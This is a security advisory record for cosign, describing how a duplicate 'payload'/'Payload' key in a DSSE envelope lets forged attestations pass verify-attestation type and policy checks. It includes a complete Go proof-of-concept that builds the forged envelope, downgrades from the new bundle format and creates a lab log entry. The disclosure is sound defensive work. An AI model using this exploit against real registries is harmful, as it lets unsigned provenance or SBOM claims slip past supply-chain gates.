{"id":"GHSA-m887-h3mp-ww97","aliases":["DHI-rvvj-qoeg-l5vm-mpor"],"status":"published","description":"### Summary\r\n\r\nFor attestations stored in the legacy format (`sha256-\u003cdigest\u003e.att` tag), cosign reads the DSSE envelope with two different JSON decoders. The signature and subject checks decode it into the `dsse.Envelope` struct. The predicate type check, the CUE/Rego policy evaluation and the printed output decode the same bytes into a map and read the key `\"payload\"`. `encoding/json` matches struct fields case-insensitively and the last matching key wins, so an envelope that contains `\"payload\"` and then `\"Payload\"` has two readings: the verifier checks the signature on the second value, and `--type` and `--policy` run on the first.\r\n\r\nAn attacker who can change the repository content in the registry, and who does not have the signing key, can make `cosign verify-attestation --key ... --type ... --policy ...` succeed with attestation content of their choice, for any image that has at least one DSSE envelope signed by that key.\r\n\r\n### Affected versions\r\n\r\nTested and affected: v3.1.4 and v2.6.5 (official `cosign-linux-amd64` release binaries). The two decoders are also on `main` as of 2026-11-14 (read, not run). Earlier releases were not tested.\r\n\r\n### Details\r\n\r\n- Signature check: `pkg/cosign/verify.go`, `verifyOCIAttestation` (lines 306-329 in v3.1.4). `json.Unmarshal` into `dsse.Envelope`, then DSSE verification over that struct's payload.\r\n- Subject check: `pkg/cosign/verifiers.go`, `IntotoSubjectClaimVerifier` (lines 59-91). Same struct decoding.\r\n- Type and policy: `pkg/policy/attestation.go`, `AttestationToPayloadJSON` (lines 67-101). `json.Unmarshal` into `map[string]interface{}`, then `payloadData[\"payload\"]`. Called from `cmd/cosign/cli/verify/verify_attestation.go:233` and `verify_blob_attestation.go:265`, `:400`.\r\n- Output: `PrintVerification` (`cmd/cosign/cli/verify/common.go:262-273`) prints the raw layer bytes, so `jq -r .payload | base64 -d` on the output also yields the unsigned statement.\r\n\r\nEnvelope that triggers it:\r\n\r\n```json\r\n{\"payloadType\":\"application/vnd.in-toto+json\",\r\n \"payload\":\"\u003cbase64 of a forged in-toto statement\u003e\",\r\n \"Payload\":\"\u003cbase64 of a statement signed by the key\u003e\",\r\n \"signatures\":[{\"keyid\":\"\",\"sig\":\"\u003cthe original signature\u003e\"}]}\r\n```\r\n\r\nTwo more properties widen the reach:\r\n\r\n1. **Fallback from the new bundle format.** `verify-attestation` looks for new-format bundles first and, when it finds none, sets `co.NewBundleFormat = false` and reads the legacy tag (`cmd/cosign/cli/verify/verify_attestation.go:140-146`). Whoever controls the registry content decides which path is taken. The signed statement and its signature can be copied out of any new-format bundle. That includes the bundle written by a plain `cosign sign` in v3, because it is a DSSE-signed in-toto statement (predicate type `https://sigstore.dev/cosign/sign/v1`). So an image that was only ever signed, never attested, is enough.\r\n2. **Transparency log.** On the legacy path the log entry is tied to the SHA-256 of the raw layer bytes and to the public key (`VerifyBundle`, `pkg/cosign/verify.go:1286-1331`; `compareSigs` returns early for attestations). The rewritten envelope needs a new entry. Rekor's `dsse` v0.0.1 entry type decodes the proposed envelope into the same struct, verifies the genuine signature with the public key and records the hash of the raw string (`sigstore/rekor` v1.5.4, `pkg/types/dsse/v0.0.1/entry.go`, `Unmarshal`). So the entry can be created by anyone who has the public key. I checked this with the Rekor library code and a lab log key trusted through `SIGSTORE_REKOR_PUBLIC_KEY`. **I did not submit anything to the public Rekor instance.**\r\n\r\nThe new bundle verification path itself is not affected.\r\n\r\n### PoC\r\n\r\nThe proof of concept is one Go test file that drives the release binary on loopback only. Its source, the `go.mod` and the commands to run it are in the last section of this report.\r\n\r\nThe consumer's gate in every variant:\r\n\r\n```\r\ncosign verify-attestation --key org.pub --type slsaprovenance --policy policy.rego IMAGE@DIGEST\r\n```\r\n\r\n`policy.rego` requires `predicate.builder.id` to be the organisation's builder. The organisation never signs a provenance attestation.\r\n\r\n| Test | Signed by the key | Attacker action (registry write only) |\r\n|------|-------------------|----------------------------------------|\r\n| `TestVerifyAttestationAcceptsUnsignedPredicate` | SPDX attestation, legacy format | replaces the `.att` tag with the two-payload envelope |\r\n| `TestVerifyAttestationDowngradeFromNewBundle/from_an_SBOM_attestation` | SPDX attestation, new bundle format | copies payload and signature from the bundle, empties the referrers fallback tag, writes the `.att` tag |\r\n| `TestVerifyAttestationDowngradeFromNewBundle/from_a_plain_image_signature` | `cosign sign` only | same |\r\n\r\nEach test first shows the gate rejecting the untouched registry (`none of the attestations matched the predicate type`). After the change the gate exits 0, prints the forged statement, and the policy has accepted a `builder.id` from a statement that carries no signature. Each test runs the gate with `--insecure-ignore-tlog=true` and again with default flags against the lab log.\r\n\r\nResults: all three variants pass on v3.1.4 (release binary, sha256 `424e2c97d0b45fd7a6b608a87f090f35633f4c23ece5f092d48bba11aaf4bbfa`). The first variant also passes on v2.6.5 (release binary, sha256 `c3b4f5410e608af03a5eb0aaac84a4313d8da131248e08ff1759ac70c79d1644`). On v2.6.5 the two downgrade tests stop in their setup: with the flags the test uses, the v2 signer writes the legacy format, so there is no new-format bundle to start from. I did not adapt them to v2.\r\n\r\n### Impact\r\n\r\nForged attestation content (SLSA provenance, SBOM, vulnerability scan result, any custom predicate) is accepted as signed by a trusted key. Deployments that gate on `verify-attestation --type` or `--policy`, or that parse the command's output, can be made to admit an image on the strength of claims nobody signed. The image must have something signed by the key, so this is not a bypass of `cosign verify` for an unsigned image.\r\n\r\nWho can do it: anyone who can write to the repository in the registry (a push-scoped account is enough on a registry without the referrers API), a compromised registry, mirror or pull-through cache, or someone on the network path of a registry reached without TLS.\r\n\r\n### What I did not test\r\n\r\n- Keyless verification. A fresh log entry would have to fall inside the certificate validity, so I expect at most a short window after signing.\r\n- The public Rekor instance (see above).\r\n- Registries that implement the referrers API. There the attacker has to remove the bundle manifest or control the registry's answers, not just push a tag.\r\n- `verify-blob-attestation`, which calls the same function.\r\n- Other consumers of `pkg/policy.AttestationToPayloadJSON`, apart from Kyverno (see \"Related report and disclosure\").\r\n\r\n### Suggested fix\r\n\r\n1. Decode once. Use the payload that was verified for the type and policy checks. Smallest change: decode into `dsse.Envelope` in `AttestationToPayloadJSON` instead of a map. Better: pass the verified statement bytes forward from verification so that nothing parses the envelope a second time.\r\n2. Reject envelopes with duplicate or case-variant keys before verification.\r\n3. Print the envelope re-marshalled from the struct, not the raw layer.\r\n4. The same map lookup is in `pkg/cosign/remote/remote.go:140`.\r\n\r\n### Related report and disclosure\r\n\r\nKyverno's image verification reads the envelope in the same way and is affected through its own code and through `AttestationToPayloadJSON`. I am reporting that to the Kyverno project privately at the same time. Nothing has been published. I can test a patch.\r\n\r\n### AI assistance disclosure\r\n\r\nIn line with the Sigstore AI policy: I used an AI assistant for the code review that led to this, for writing the PoC test and for drafting this report. I have run the PoC myself and can explain each step.\r\n\r\n### Running the proof of concept\r\n\r\nNeeds Go 1.25 or newer and the cosign release binary. Everything stays on loopback: `HTTPS_PROXY` points at a dead port for every cosign run.\r\n\r\n1. Save `go.mod` and `verify_attestation_unsigned_predicate_test.go` from the two blocks below into an empty directory.\r\n2. Run:\r\n\r\n   ```sh\r\n   go mod tidy\r\n   COSIGN_BIN=/path/to/cosign-linux-amd64 go test -count=1 -v ./...\r\n   ```\r\n\r\nEach test logs the cosign commands it runs and their output, and prints `REPRODUCED` when the gate accepts the statement that carries no signature.\r\n\r\n\u003cdetails\u003e\r\n\u003csummary\u003e\u003ccode\u003ego.mod\u003c/code\u003e\u003c/summary\u003e\r\n\r\n```\r\nmodule cosign-poc\r\n\r\ngo 1.25.11\r\n\r\nrequire (\r\n\tgithub.com/google/go-containerregistry v0.22.1\r\n\tgithub.com/sigstore/rekor v1.5.4\r\n)\r\n\r\nrequire (\r\n\tgithub.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect\r\n\tgithub.com/cyberphone/json-canonicalization v0.0.0-20220623050100-57a0ce2678a7 // indirect\r\n\tgithub.com/docker/cli v29.7.2+incompatible // indirect\r\n\tgithub.com/docker/docker-credential-helpers v0.9.3 // indirect\r\n\tgithub.com/go-openapi/analysis v0.26.0 // indirect\r\n\tgithub.com/go-openapi/errors v0.22.8 // indirect\r\n\tgithub.com/go-openapi/jsonpointer v1.0.0 // indirect\r\n\tgithub.com/go-openapi/jsonreference v1.0.0 // indirect\r\n\tgithub.com/go-openapi/loads v0.25.1 // indirect\r\n\tgithub.com/go-openapi/runtime v0.32.5 // indirect\r\n\tgithub.com/go-openapi/spec v0.22.9 // indirect\r\n\tgithub.com/go-openapi/strfmt v0.27.0 // indirect\r\n\tgithub.com/go-openapi/swag/conv v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/fileutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/jsonutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/loading v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/mangling v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/pools v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/stringutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/typeutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/yamlutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/validate v0.26.3 // indirect\r\n\tgithub.com/go-viper/mapstructure/v2 v2.5.0 // indirect\r\n\tgithub.com/google/uuid v1.6.0 // indirect\r\n\tgithub.com/in-toto/attestation v1.1.2 // indirect\r\n\tgithub.com/in-toto/in-toto-golang v0.11.0 // indirect\r\n\tgithub.com/klauspost/compress v1.19.2 // indirect\r\n\tgithub.com/oklog/ulid/v2 v2.1.1 // indirect\r\n\tgithub.com/opencontainers/go-digest v1.0.0 // indirect\r\n\tgithub.com/opencontainers/image-spec v1.1.1 // indirect\r\n\tgithub.com/secure-systems-lab/go-securesystemslib v0.11.0 // indirect\r\n\tgithub.com/shibumi/go-pathspec v1.3.0 // indirect\r\n\tgithub.com/sigstore/protobuf-specs v0.5.1 // indirect\r\n\tgithub.com/sigstore/sigstore v1.10.9 // indirect\r\n\tgithub.com/sirupsen/logrus v1.9.4 // indirect\r\n\tgithub.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect\r\n\tgo.yaml.in/yaml/v3 v3.0.5 // indirect\r\n\tgolang.org/x/crypto v0.55.0 // indirect\r\n\tgolang.org/x/net v0.57.0 // indirect\r\n\tgolang.org/x/sync v0.22.0 // indirect\r\n\tgolang.org/x/sys v0.47.0 // indirect\r\n\tgolang.org/x/term v0.45.0 // indirect\r\n\tgolang.org/x/text v0.41.0 // indirect\r\n\tgoogle.golang.org/genproto/googleapis/api v0.0.0-20260727163830-6c54dddc4772 // indirect\r\n\tgoogle.golang.org/protobuf v1.36.12 // indirect\r\n\tgotest.tools/v3 v3.5.2 // indirect\r\n)\r\n```\r\n\r\n\u003c/details\u003e\r\n\r\n\u003cdetails\u003e\r\n\u003csummary\u003e\u003ccode\u003everify_attestation_unsigned_predicate_test.go\u003c/code\u003e\u003c/summary\u003e\r\n\r\n```go\r\n// Attestation content that was never signed passes\r\n// `cosign verify-attestation` because the DSSE envelope is parsed twice, with\r\n// two different JSON rules. The attacker needs write access to the repository\r\n// (or a position between the consumer and the registry), not the signing key.\r\npackage poc\r\n\r\nimport (\r\n\t\"context\"\r\n\t\"crypto/ecdsa\"\r\n\t\"crypto/elliptic\"\r\n\t\"crypto/rand\"\r\n\t\"crypto/sha256\"\r\n\t\"crypto/x509\"\r\n\t\"encoding/base64\"\r\n\t\"encoding/hex\"\r\n\t\"encoding/json\"\r\n\t\"encoding/pem\"\r\n\t\"fmt\"\r\n\t\"io\"\r\n\t\"log\"\r\n\t\"net/http/httptest\"\r\n\t\"os\"\r\n\t\"os/exec\"\r\n\t\"path/filepath\"\r\n\t\"strings\"\r\n\t\"testing\"\r\n\t\"time\"\r\n\r\n\t\"github.com/google/go-containerregistry/pkg/name\"\r\n\t\"github.com/google/go-containerregistry/pkg/registry\"\r\n\tv1 \"github.com/google/go-containerregistry/pkg/v1\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/empty\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/mutate\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/random\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/remote\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/static\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/types\"\r\n\trekortypes \"github.com/sigstore/rekor/pkg/types\"\r\n\t_ \"github.com/sigstore/rekor/pkg/types/dsse/v0.0.1\"\r\n)\r\n\r\nconst (\r\n\ttrustedBuilder   = \"https://ci.example/trusted-builder\"\r\n\tdsseLayerType    = \"application/vnd.dsse.envelope.v1+json\"\r\n\tintotoPayload    = \"application/vnd.in-toto+json\"\r\n\tofflineSignFlags = \"--use-signing-config=false\" // plus --tlog-upload=false: the signer side stays offline\r\n)\r\n\r\n// attLab is one organisation (registry, image, cosign key pair), one consumer\r\n// gate (a Rego policy on SLSA provenance) and a lab transparency log.\r\ntype attLab struct {\r\n\tt                          *testing.T\r\n\tregHost, dir               string\r\n\tdigest                     v1.Hash\r\n\timage                      string // repo@digest\r\n\tkey, pub, policy, rekorPub string\r\n\trekorKey                   *ecdsa.PrivateKey\r\n}\r\n\r\nfunc newAttLab(t *testing.T) *attLab {\r\n\treg := httptest.NewServer(registry.New(registry.Logger(log.New(io.Discard, \"\", 0))))\r\n\tt.Cleanup(reg.Close)\r\n\tl := \u0026attLab{t: t, regHost: strings.TrimPrefix(reg.URL, \"http://\"), dir: t.TempDir()}\r\n\r\n\timg, _ := random.Image(64, 1)\r\n\tl.digest, _ = img.Digest()\r\n\tl.image = l.regHost + \"/team/app@\" + l.digest.String()\r\n\tif err := remote.Write(l.ref(l.image), img); err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\trunCosign(t, []string{\"COSIGN_PASSWORD=\"}, \"generate-key-pair\", \"--output-key-prefix\", filepath.Join(l.dir, \"org\"))\r\n\tl.key, l.pub = filepath.Join(l.dir, \"org.key\"), filepath.Join(l.dir, \"org.pub\")\r\n\r\n\t// The consumer's gate: a SLSA provenance attestation signed by the organisation must name the trusted builder.\r\n\tl.policy = l.write(\"policy.rego\", \"package signature\\nimport rego.v1\\ndefault allow := false\\nallow if input.predicate.builder.id == \\\"\"+trustedBuilder+\"\\\"\\n\")\r\n\r\n\t// Lab transparency log key, trusted by the consumer through SIGSTORE_REKOR_PUBLIC_KEY like a private Rekor.\r\n\tvar err error\r\n\tif l.rekorKey, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader); err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tder, _ := x509.MarshalPKIXPublicKey(\u0026l.rekorKey.PublicKey)\r\n\tl.rekorPub = l.write(\"lab-rekor.pub\", string(pem.EncodeToMemory(\u0026pem.Block{Type: \"PUBLIC KEY\", Bytes: der})))\r\n\treturn l\r\n}\r\n\r\nfunc (l *attLab) write(name, content string) string {\r\n\tp := filepath.Join(l.dir, name)\r\n\tif err := os.WriteFile(p, []byte(content), 0o600); err != nil {\r\n\t\tl.t.Fatal(err)\r\n\t}\r\n\treturn p\r\n}\r\n\r\nfunc (l *attLab) ref(s string) name.Reference {\r\n\tr, err := name.ParseReference(s)\r\n\tif err != nil {\r\n\t\tl.t.Fatal(err)\r\n\t}\r\n\treturn r\r\n}\r\n\r\n// signSBOM is the only signing the organisation ever does for this image: an SBOM attestation.\r\nfunc (l *attLab) signSBOM(extraFlags ...string) {\r\n\tsbom := l.write(\"sbom.json\", `{\"SPDXID\":\"SPDXRef-DOCUMENT\",\"spdxVersion\":\"SPDX-2.3\",\"name\":\"app\"}`)\r\n\targs := append([]string{\"attest\", \"--key\", l.key, \"--type\", \"spdxjson\", \"--predicate\", sbom, \"--yes\",\r\n\t\tofflineSignFlags, \"--tlog-upload=false\"}, extraFlags...)\r\n\tif out, err := runCosignErr(l.t, []string{\"COSIGN_PASSWORD=\"}, append(args, l.image)...); err != nil {\r\n\t\tl.t.Fatalf(\"setup: cosign attest failed: %v\\n%s\", err, out)\r\n\t}\r\n}\r\n\r\n// gate runs the consumer's check, with transparency log verification on (cosign's default) or off.\r\nfunc (l *attLab) gate(tlog bool) (string, error) {\r\n\targs := []string{\"verify-attestation\", \"--key\", l.pub, \"--type\", \"slsaprovenance\", \"--policy\", l.policy}\r\n\tif !tlog {\r\n\t\treturn runCosignErr(l.t, nil, append(args, \"--insecure-ignore-tlog=true\", l.image)...)\r\n\t}\r\n\treturn runCosignErr(l.t, []string{\"SIGSTORE_REKOR_PUBLIC_KEY=\" + l.rekorPub}, append(args, l.image)...)\r\n}\r\n\r\n// signImage is a plain `cosign sign` with cosign v3 defaults. The stored bundle holds a DSSE envelope too.\r\nfunc (l *attLab) signImage() {\r\n\tif out, err := runCosignErr(l.t, []string{\"COSIGN_PASSWORD=\"}, \"sign\", \"--key\", l.key, \"--yes\",\r\n\t\tofflineSignFlags, \"--tlog-upload=false\", l.image); err != nil {\r\n\t\tl.t.Fatalf(\"setup: cosign sign failed: %v\\n%s\", err, out)\r\n\t}\r\n}\r\n\r\n// mustFailBeforeAttack is the control: with the registry content as the signer left it there is no provenance attestation.\r\nfunc (l *attLab) mustFailBeforeAttack() {\r\n\tif out, err := l.gate(false); err == nil {\r\n\t\tl.t.Fatalf(\"control failed: unexpected result before the registry content was changed\\n%s\", out)\r\n\t}\r\n}\r\n\r\n// pushForged is the attack. signedPayload and sig come from any DSSE envelope\r\n// the organisation signed for this image. The attacker writes an envelope with\r\n// two payload keys: \"payload\" (forged, what a map lookup sees) and \"Payload\"\r\n// (signed; it comes later, so it is what Go's struct decoding keeps), logs it,\r\n// and stores it under the legacy attestation tag.\r\nfunc (l *attLab) pushForged(signedPayload, sig string) (forgedPayload string) {\r\n\tstatement, _ := json.Marshal(map[string]any{\r\n\t\t\"_type\":         \"https://in-toto.io/Statement/v0.1\",\r\n\t\t\"predicateType\": \"https://slsa.dev/provenance/v0.2\",\r\n\t\t\"subject\":       []any{map[string]any{\"name\": l.regHost + \"/team/app\", \"digest\": map[string]string{\"sha256\": l.digest.Hex}}},\r\n\t\t\"predicate\":     map[string]any{\"builder\": map[string]string{\"id\": trustedBuilder}, \"buildType\": \"forged-by-attacker\"},\r\n\t})\r\n\tforgedPayload = base64.StdEncoding.EncodeToString(statement)\r\n\tenvelope := fmt.Sprintf(`{\"payloadType\":%q,\"payload\":%q,\"Payload\":%q,\"signatures\":[{\"keyid\":\"\",\"sig\":%q}]}`,\r\n\t\tintotoPayload, forgedPayload, signedPayload, sig)\r\n\r\n\tpubPEM, _ := os.ReadFile(l.pub) // logging the envelope needs only the public key\r\n\timg, err := mutate.Append(mutate.MediaType(empty.Image, types.OCIManifestSchema1), mutate.Addendum{\r\n\t\tLayer: static.NewLayer([]byte(envelope), dsseLayerType),\r\n\t\tAnnotations: map[string]string{\r\n\t\t\t\"dev.cosignproject.cosign/signature\": \"\",\r\n\t\t\t\"dev.sigstore.cosign/bundle\":         labRekorBundle(l.t, l.rekorKey, []byte(envelope), pubPEM),\r\n\t\t},\r\n\t})\r\n\tif err != nil {\r\n\t\tl.t.Fatal(err)\r\n\t}\r\n\tif err := remote.Write(l.ref(l.regHost+\"/team/app:sha256-\"+l.digest.Hex+\".att\"), img); err != nil {\r\n\t\tl.t.Fatal(err)\r\n\t}\r\n\treturn forgedPayload\r\n}\r\n\r\n// mustPassAfterAttack checks that the same gate now accepts content the organisation never signed.\r\nfunc (l *attLab) mustPassAfterAttack(forgedPayload string) {\r\n\tout, err := l.gate(false)\r\n\tif err != nil || !strings.Contains(out, forgedPayload) {\r\n\t\tl.t.Fatal(\"NOT REPRODUCED: verify-attestation rejected the rewritten envelope\")\r\n\t}\r\n\tl.t.Log(\"REPRODUCED (--insecure-ignore-tlog): verify-attestation exit 0; the policy ran on a provenance statement the key never signed\")\r\n\tout, err = l.gate(true)\r\n\tif err != nil || !strings.Contains(out, \"transparency log was verified offline\") {\r\n\t\tl.t.Fatal(\"NOT REPRODUCED with transparency log verification on\")\r\n\t}\r\n\tl.t.Log(\"REPRODUCED (default flags, lab transparency log): verify-attestation exit 0 with the log check passing\")\r\n}\r\n\r\n// The organisation stores attestations in the legacy format (every cosign v1/v2\r\n// signer, or v3 with --new-bundle-format=false). Push access is enough.\r\nfunc TestVerifyAttestationAcceptsUnsignedPredicate(t *testing.T) {\r\n\tl := newAttLab(t)\r\n\tl.signSBOM(\"--new-bundle-format=false\")\r\n\tl.mustFailBeforeAttack()\r\n\r\n\tatt, err := remote.Image(l.ref(l.regHost + \"/team/app:sha256-\" + l.digest.Hex + \".att\"))\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tlayers, err := att.Layers()\r\n\tif err != nil || len(layers) != 1 {\r\n\t\tt.Fatalf(\"unexpected attestation image: %v\", err)\r\n\t}\r\n\trc, _ := layers[0].Compressed()\r\n\tdefer rc.Close()\r\n\tvar env struct {\r\n\t\tPayload    string\r\n\t\tSignatures []struct{ Sig string }\r\n\t}\r\n\tif err := json.NewDecoder(rc).Decode(\u0026env); err != nil || len(env.Signatures) != 1 {\r\n\t\tt.Fatalf(\"unexpected envelope: %v\", err)\r\n\t}\r\n\r\n\tl.mustPassAfterAttack(l.pushForged(env.Payload, env.Signatures[0].Sig))\r\n}\r\n\r\n// The organisation uses only the new bundle format (cosign v3 default). The\r\n// attacker takes the signed envelope out of the bundle, hides the bundle, and\r\n// cosign falls back to the legacy path. Any envelope signed for the image\r\n// works: an attestation of another type, or the plain image signature.\r\nfunc TestVerifyAttestationDowngradeFromNewBundle(t *testing.T) {\r\n\tt.Run(\"from an SBOM attestation\", func(t *testing.T) {\r\n\t\tl := newAttLab(t)\r\n\t\tl.signSBOM()\r\n\t\tl.downgrade()\r\n\t})\r\n\tt.Run(\"from a plain image signature\", func(t *testing.T) {\r\n\t\tl := newAttLab(t)\r\n\t\tl.signImage()\r\n\t\tl.downgrade()\r\n\t})\r\n}\r\n\r\nfunc (l *attLab) downgrade() {\r\n\tt := l.t\r\n\tl.mustFailBeforeAttack()\r\n\r\n\t// This registry has no referrers API, so cosign keeps the referrers in an index under a fallback tag.\r\n\tfallback := l.ref(l.regHost + \"/team/app:sha256-\" + l.digest.Hex)\r\n\tidx, err := remote.Index(fallback)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"no referrers fallback tag: %v\", err)\r\n\t}\r\n\tim, _ := idx.IndexManifest()\r\n\tif len(im.Manifests) != 1 {\r\n\t\tt.Fatalf(\"expected one referrer, got %d\", len(im.Manifests))\r\n\t}\r\n\tbundleImg, err := idx.Image(im.Manifests[0].Digest)\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tlayers, err := bundleImg.Layers()\r\n\tif err != nil || len(layers) != 1 {\r\n\t\tt.Fatalf(\"unexpected bundle artifact: %v\", err)\r\n\t}\r\n\trc, _ := layers[0].Compressed()\r\n\tdefer rc.Close()\r\n\tvar bundle struct {\r\n\t\tDsseEnvelope struct {\r\n\t\t\tPayload    string\r\n\t\t\tSignatures []struct{ Sig string }\r\n\t\t}\r\n\t}\r\n\tif err := json.NewDecoder(rc).Decode(\u0026bundle); err != nil || len(bundle.DsseEnvelope.Signatures) != 1 {\r\n\t\tt.Fatalf(\"unexpected bundle: %v\", err)\r\n\t}\r\n\r\n\t// Hide the bundle: with no new-format bundle in sight cosign switches to the legacy tag.\r\n\tif err := remote.WriteIndex(fallback, empty.Index); err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tl.mustPassAfterAttack(l.pushForged(bundle.DsseEnvelope.Payload, bundle.DsseEnvelope.Signatures[0].Sig))\r\n}\r\n\r\n// labRekorBundle plays the transparency log. It runs the envelope through the\r\n// Rekor v1 library exactly as the server does for a new dsse entry\r\n// (types.UnmarshalEntry validates and verifies the signature,\r\n// types.CanonicalizeEntry builds the stored body) and then issues the signed\r\n// entry timestamp with the lab key. No Rekor server is contacted.\r\nfunc labRekorBundle(t *testing.T, logKey *ecdsa.PrivateKey, envelope, signerPubPEM []byte) string {\r\n\tctx := context.Background()\r\n\tproposed, err := rekortypes.NewProposedEntry(ctx, \"dsse\", \"0.0.1\", rekortypes.ArtifactProperties{\r\n\t\tArtifactBytes: envelope, PublicKeyBytes: [][]byte{signerPubPEM},\r\n\t})\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"rekor rejected the envelope when building the entry: %v\", err)\r\n\t}\r\n\tentry, err := rekortypes.UnmarshalEntry(proposed)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"rekor validation rejected the envelope: %v\", err)\r\n\t}\r\n\tbody, err := rekortypes.CanonicalizeEntry(ctx, entry)\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tt.Logf(\"rekor library accepted the rewritten envelope; entry body: %.180s...\", body)\r\n\r\n\tder, _ := x509.MarshalPKIXPublicKey(\u0026logKey.PublicKey)\r\n\tlogID := sha256.Sum256(der)\r\n\t// Canonical JSON of the bundle payload: keys in alphabetical order, no spaces.\r\n\tpayload := fmt.Sprintf(`{\"body\":%q,\"integratedTime\":%d,\"logID\":%q,\"logIndex\":0}`,\r\n\t\tbase64.StdEncoding.EncodeToString(body), time.Now().Unix(), hex.EncodeToString(logID[:]))\r\n\tsum := sha256.Sum256([]byte(payload))\r\n\tset, err := ecdsa.SignASN1(rand.Reader, logKey, sum[:])\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\treturn fmt.Sprintf(`{\"SignedEntryTimestamp\":%q,\"Payload\":%s}`, base64.StdEncoding.EncodeToString(set), payload)\r\n}\r\n\r\nfunc cosignBin(t *testing.T) string {\r\n\tbin := os.Getenv(\"COSIGN_BIN\")\r\n\tif bin == \"\" {\r\n\t\tbin = \"cosign\"\r\n\t}\r\n\tabs, err := filepath.Abs(bin)\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tif _, err := os.Stat(abs); err != nil {\r\n\t\tt.Fatalf(\"cosign binary not found (%v); build it or set COSIGN_BIN\", err)\r\n\t}\r\n\treturn abs\r\n}\r\n\r\n// runCosign runs cosign with a minimal environment. HTTPS_PROXY points at a\r\n// dead port so that nothing can leave the machine; Go never proxies loopback.\r\nfunc runCosign(t *testing.T, extraEnv []string, args ...string) string {\r\n\tout, _ := runCosignErr(t, extraEnv, args...) // most runs are expected to fail; callers look at what left the process\r\n\treturn out\r\n}\r\n\r\n// runCosignErr is runCosign plus the exit status (nil means exit code 0).\r\nfunc runCosignErr(t *testing.T, extraEnv []string, args ...string) (string, error) {\r\n\tcmd := exec.Command(cosignBin(t), args...)\r\n\thome := t.TempDir()\r\n\tcmd.Dir = home\r\n\tcmd.Env = append([]string{\r\n\t\t\"HOME=\" + home,\r\n\t\t\"PATH=/usr/bin:/bin\",\r\n\t\t\"TUF_ROOT=\" + filepath.Join(home, \"tuf\"),\r\n\t\t\"DOCKER_CONFIG=\" + filepath.Join(home, \"docker\"),\r\n\t\t\"HTTPS_PROXY=http://127.0.0.1:1\",\r\n\t\t\"HTTP_PROXY=http://127.0.0.1:1\",\r\n\t}, extraEnv...)\r\n\tout, err := cmd.CombinedOutput()\r\n\tt.Logf(\"cosign %s\\n%s\", strings.Join(args, \" \"), out)\r\n\treturn string(out), err\r\n}\r\n```\r\n\r\n\u003c/details\u003e","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"published":"2026-12-04T14:13:52Z","modified":"2026-12-04T14:30:10Z","affected":[{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"cosign-2-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.2-r0"}]}],"versions":["2.6.2-r0","2.6.2-r1","2.6.2-r2","2.6.2-r3","2.6.3-r0","2.6.3-r1","2.6.3-r10","2.6.3-r2","2.6.3-r3","2.6.3-r4","2.6.3-r5","2.6.3-r6","2.6.3-r7","2.6.3-r8","2.6.3-r9","2.6.4-r0","2.6.4-r1","2.6.5-r0","2.6.5-r1","2.6.5-r10","2.6.5-r11","2.6.5-r12","2.6.5-r13","2.6.5-r14","2.6.5-r2","2.6.5-r3","2.6.5-r4","2.6.5-r5","2.6.5-r6","2.6.5-r7","2.6.5-r8","2.6.5-r9"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"cosign-2-fips-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.2-r0"}]}],"versions":["2.6.2-r0","2.6.2-r1","2.6.2-r2","2.6.2-r3","2.6.3-r0","2.6.3-r1","2.6.3-r10","2.6.3-r2","2.6.3-r3","2.6.3-r4","2.6.3-r5","2.6.3-r6","2.6.3-r7","2.6.3-r8","2.6.3-r9","2.6.4-r0","2.6.4-r1","2.6.5-r0","2.6.5-r1","2.6.5-r10","2.6.5-r11","2.6.5-r12","2.6.5-r13","2.6.5-r14","2.6.5-r2","2.6.5-r3","2.6.5-r4","2.6.5-r5","2.6.5-r6","2.6.5-r7","2.6.5-r8","2.6.5-r9"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"cosign-2-fips","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.2-r0"}]}],"versions":["2.6.2-r0","2.6.2-r1","2.6.2-r2","2.6.2-r3","2.6.3-r0","2.6.3-r1","2.6.3-r10","2.6.3-r2","2.6.3-r3","2.6.3-r4","2.6.3-r5","2.6.3-r6","2.6.3-r7","2.6.3-r8","2.6.3-r9","2.6.4-r0","2.6.4-r1","2.6.5-r0","2.6.5-r1","2.6.5-r10","2.6.5-r11","2.6.5-r12","2.6.5-r13","2.6.5-r14","2.6.5-r2","2.6.5-r3","2.6.5-r4","2.6.5-r5","2.6.5-r6","2.6.5-r7","2.6.5-r8","2.6.5-r9"]},{"source":"osv","ecosystem":"Docker Hardened 